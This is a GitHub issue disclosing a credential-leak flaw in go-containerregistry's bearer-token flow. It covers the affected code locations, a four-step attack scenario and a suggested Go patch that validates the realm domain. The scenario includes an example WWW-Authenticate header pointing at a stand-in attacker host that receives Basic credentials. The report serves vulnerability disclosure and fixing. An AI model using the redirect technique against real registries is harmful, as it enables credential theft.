Skip to content

Credential leak via unvalidated WWW-Authenticate realm URL #2193

@1seal

Description

@1seal

Summary

When authenticating against a registry using the bearer token flow, go-containerregistry accepts the realm URL from the WWW-Authenticate response header and sends credentials to that realm host to obtain a token. The realm URL is not validated against the registry domain, allowing a malicious registry to redirect credentials to an attacker-controlled host.

Affected code

  • pkg/v1/remote/transport/bearer.go:82-94 (fromChallenge accepts realm without validation)
  • pkg/v1/remote/transport/bearer.go:315-320 (refreshOauth uses realm)
  • pkg/v1/remote/transport/bearer.go:366-407 (refreshBasic sends credentials to realm host)

Attack scenario

  1. Victim's tooling (cosign, crane, ko, etc.) connects to a malicious registry (via typosquatted image reference, compromised registry, or untrusted input in CI/CD)
  2. Registry returns 401 with WWW-Authenticate: Bearer realm="https://attacker.example.net/token",service="registry"
  3. go-containerregistry extracts the realm URL and sends Authorization: Basic <credentials> to attacker.example.net
  4. Attacker captures registry credentials

This does not require network interception - the registry itself controls the realm value.

Precedent

CVE-2020-15157 (containerd) describes the same vulnerability class: credential leak via malicious WWW-Authenticate realm header. It was fixed and assigned a CVE with CVSS 6.1.

Ecosystem impact

go-containerregistry is used by:

  • sigstore/cosign
  • google/crane
  • google/ko
  • vmware-tanzu/kpack
  • tektoncd/pipeline
  • GoogleContainerTools/skaffold

All these tools inherit this vulnerability.

Suggested fix

Validate that the realm URL's domain matches the registry domain (or a documented trusted auth domain) before sending any credential-bearing request.

Minimal patch approach in fromChallenge:

ru, err := url.Parse(realm)
if err != nil {
    return nil, fmt.Errorf("invalid realm url: %w", err)
}
if ru.Scheme == "" || ru.Host == "" {
    return nil, fmt.Errorf("invalid realm url: missing scheme or host")
}
if !pr.Insecure && ru.Scheme != "https" {
    return nil, fmt.Errorf("invalid realm url scheme for secure registry")
}
// validate domain binding
regDomain := effectiveDomain(reg.RegistryStr())
realmDomain := effectiveDomain(ru.Hostname())
if regDomain != realmDomain {
    return nil, fmt.Errorf("realm domain mismatch")
}

Reproduction

A full PoC with canonical/control tests is available upon request.

Related

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions